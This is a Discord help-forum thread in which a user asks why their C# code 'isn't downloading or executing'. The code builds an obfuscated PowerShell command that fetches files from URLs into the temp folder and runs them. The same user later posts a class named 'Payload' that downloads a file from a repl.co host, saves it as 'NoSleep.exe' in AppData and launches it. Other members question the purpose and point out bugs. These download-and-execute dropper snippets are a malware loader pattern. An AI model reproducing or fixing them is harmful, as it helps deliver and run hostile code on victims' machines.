✅ doing nothing

dfg
18 Replies
Wallace And Gromit
the code literally isn't downloading from any websites or executing (i added valid urls)
c#
using System;
using System.Diagnostics;
using System.Threading;

class Program {
static void Main(string[] args) {
string cmdCode = "@echo off\r\n" +
"set files='url1','url2" +
"set myvar=pow\r\n" +
"set myvar=%myvar%er\r\n" +
"set myvar=%myvar%shell\r\n" +
"set myvar=%myvar% \"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}\"\r\n" +
"cmd /c %myvar%";

// Execute the command and capture output
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c \"" + cmdCode + "\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process process = new Process();
process.StartInfo = psi;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

// Wait for a few seconds
Thread.Sleep(5000);

// Print output
Console.WriteLine(output);
}
}
c#
using System;
using System.Diagnostics;
using System.Threading;

class Program {
static void Main(string[] args) {
string cmdCode = "@echo off\r\n" +
"set files='url1','url2" +
"set myvar=pow\r\n" +
"set myvar=%myvar%er\r\n" +
"set myvar=%myvar%shell\r\n" +
"set myvar=%myvar% \"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}\"\r\n" +
"cmd /c %myvar%";

// Execute the command and capture output
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c \"" + cmdCode + "\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process process = new Process();
process.StartInfo = psi;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

// Wait for a few seconds
Thread.Sleep(5000);

// Print output
Console.WriteLine(output);
}
}
Buddy
Buddy2y ago
Why are you doing this outside of the process? Just write code that does the same in Hmm
Thinker
Thinker2y ago
HttpClient client = new();
var file = await client.GetByteArrayAsync(url);
HttpClient client = new();
var file = await client.GetByteArrayAsync(url);
Here's perfectly reasonable code for downloading a file from regular old C#. Please use this instead of invoking Powershell for some reason.
jcotton42
jcotton422y ago
This smells quite sussy @Wallace And Gromit what, exactly, is this for?
Wallace And Gromit
OSINTego
jcotton42
jcotton422y ago
Which is... what?
Wallace And Gromit
maltego/paterva but 10x better its not finished yet though its in python, not c# but im making a c# code for it so i can convert the python file to exe, since pyinstaller (py to exe converter) is too difficult to convert, and i dont know much c#
jcotton42
jcotton422y ago
I don't know what either of those are
Wallace And Gromit
maltego is an OSINT tool OSINT tool usually used for crime investigators, ethical hackers, investigators and other stuff
Axiss
Axiss2y ago
I still don't understand why this C# code is trying to execute powershell code, but if for some reason you need to do that, sending it to cmd.exe isn't going to work. You need to execute powershell.exe
Jimmacle
Jimmacle2y ago
how exactly is using C# to supposedly convert a python script to an EXE simpler than using a tool already designed to do that?
Wallace And Gromit
using System; using System.Net; public class Payload { public static void Main(string[] args) { using (var client = new WebClient()) { client.DownloadFile("https://osintframework.peanutgamerdot.repl.co/OSINTego.py", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe"); } System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe"); } } .py see
Jimmacle
Jimmacle2y ago
i'm not sure what this accomplishes sure it technically lets you run an exe to run a python script, but it's still a python script and requires python to be installed along with whatever dependencies that script has you also currently lose any command line arguments you may have passed
x0rld 👻 🎃
your code juste download a python script in a file noSleep.exe nothing more
Accord
Accord2y ago
Was this issue resolved? If so, run /close - otherwise I will mark this as stale and this post will be archived until there is new activity.
Klarth
Klarth2y ago
Has to be done via @Accord I guess?
Thinker
Thinker2y ago
It's the /close from @Accord
Want results from more Discord servers?
Add your server